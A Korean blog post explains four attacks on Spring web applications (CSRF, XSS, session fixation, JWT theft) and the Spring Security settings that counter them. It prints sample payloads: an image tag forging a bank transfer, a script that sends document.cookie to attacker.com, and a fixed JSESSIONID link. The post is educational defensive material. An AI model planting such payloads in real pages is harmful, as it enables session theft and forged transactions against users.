Spring 웹 애플리케이션의 보안 공격

dustle·2026년 5월 31일

1. CSRF (Cross-Site Request Forgery)

공격 방식

사용자가 A 사이트에 로그인된 상태에서, 공격자가 만든 B 사이트에 접속하면 B 페이지의 스크립트가 A로 요청을 자동 전송합니다. 브라우저는 A 도메인의 쿠키를 함께 보내므로 서버는 정상 요청으로 인식합니다.

예시로, 로그인된 상태에서 아래 이미지 태그가 있는 페이지에 접속하면 송금 요청이 실행됩니다.

<img src="https://bank.com/transfer?to=attacker&amount=1000000">

대응 전략

Spring Security는 기본적으로 CSRF 보호가 활성화되어 있습니다. POST/PUT/DELETE/PATCH 요청에 CSRF 토큰을 요구합니다.

@Configuration
public class SecurityConfig {
    @Bean
    SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http.csrf(csrf -> csrf
            .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
        );
        return http.build();
    }
}

부가적인 방어 수단은 다음과 같습니다.

  • 쿠키 SameSite 속성을 Lax 또는 Strict로 설정합니다
  • Referer/Origin 헤더를 검증합니다
  • REST API에서 토큰 기반 인증(Bearer)을 사용하면 쿠키가 자동 전송되지 않으므로 CSRF 위험이 줄어듭니다

2. XSS (Cross-Site Scripting)

공격 방식

공격자가 사용자 입력으로 스크립트를 삽입하고, 다른 사용자가 해당 페이지를 열면 그 사용자 브라우저에서 스크립트가 실행됩니다.

<script>fetch('https://attacker.com?cookie=' + document.cookie)</script>

종류는 다음과 같이 나뉩니다.

  • Stored XSS: DB에 저장된 악성 스크립트가 다른 사용자에게 노출됩니다
  • Reflected XSS: URL 파라미터 등을 통해 서버 응답에 그대로 반사됩니다
  • DOM-based XSS: 클라이언트 JS가 사용자 입력을 DOM에 직접 삽입합니다

대응 전략

  • 출력 시 이스케이프 처리를 합니다. Thymeleaf의 th:text는 자동 이스케이프되지만, th:utext는 위험합니다
  • 입력값을 검증합니다 (화이트리스트 방식)
  • HTTP 응답 헤더로 CSP(Content Security Policy)를 설정합니다
http.headers(headers -> headers
    .contentSecurityPolicy(csp -> csp
        .policyDirectives("default-src 'self'; script-src 'self'")
    )
);
  • 쿠키에 HttpOnly 속성을 부여하여 JS의 document.cookie로 접근하지 못하게 합니다
  • OWASP Java Encoder, Lucy-XSS-Filter 같은 라이브러리를 활용할 수 있습니다

3. 세션 고정 (Session Fixation)

공격 방식

공격자가 미리 발급받은 세션 ID를 피해자에게 강제로 사용하게 만든 뒤, 피해자가 로그인하면 그 세션 ID로 피해자 계정에 접근하는 방식입니다.

흐름은 다음과 같습니다.
1. 공격자가 서버에서 세션 ID ABC123을 발급받습니다
2. 피해자에게 ?JSESSIONID=ABC123 링크를 전송합니다
3. 피해자가 해당 세션으로 로그인합니다
4. 공격자가 ABC123으로 피해자 권한을 사용합니다

대응 전략

Spring Security는 기본적으로 로그인 성공 시 세션 ID를 새로 발급합니다.

http.sessionManagement(session -> session
    .sessionFixation().migrateSession()
);

옵션은 다음과 같습니다.

  • none(): 세션을 유지합니다 (사용하면 안 됩니다)
  • newSession(): 새 세션을 생성하되 기존 속성을 복사하지 않습니다
  • migrateSession(): 새 세션을 생성하고 속성을 복사합니다 (기본값)
  • changeSessionId(): Servlet 3.1+ API로 세션 ID만 변경합니다

4. JWT 탈취

공격 방식

  • XSS를 통해 localStorage/sessionStorage에 저장된 토큰을 탈취합니다
  • HTTPS가 적용되지 않은 환경에서 중간자 공격(MITM)으로 가로챕니다
  • 로그 파일이나 URL 파라미터를 통해 노출됩니다
  • 만료 시간이 긴 토큰이 유출되면 그동안 계속 악용될 수 있습니다

대응 전략

  • 토큰 저장 위치를 localStorage 대신 HttpOnly + Secure + SameSite 쿠키로 설정합니다
  • HTTPS를 강제합니다 (HSTS 헤더 적용)
  • Access Token의 만료 시간을 짧게(예: 15분) 설정하고, Refresh Token으로 갱신합니다
  • Refresh Token은 서버 저장소(Redis 등)에 보관하여 무효화할 수 있게 구성합니다
  • 로그아웃 시 토큰을 블랙리스트에 등록합니다
  • 서명 알고리즘은 HS256 이상을 사용하고, alg: none은 허용하지 않습니다
  • 토큰에 비밀번호나 주민번호 같은 민감 정보를 담지 않습니다

0개의 댓글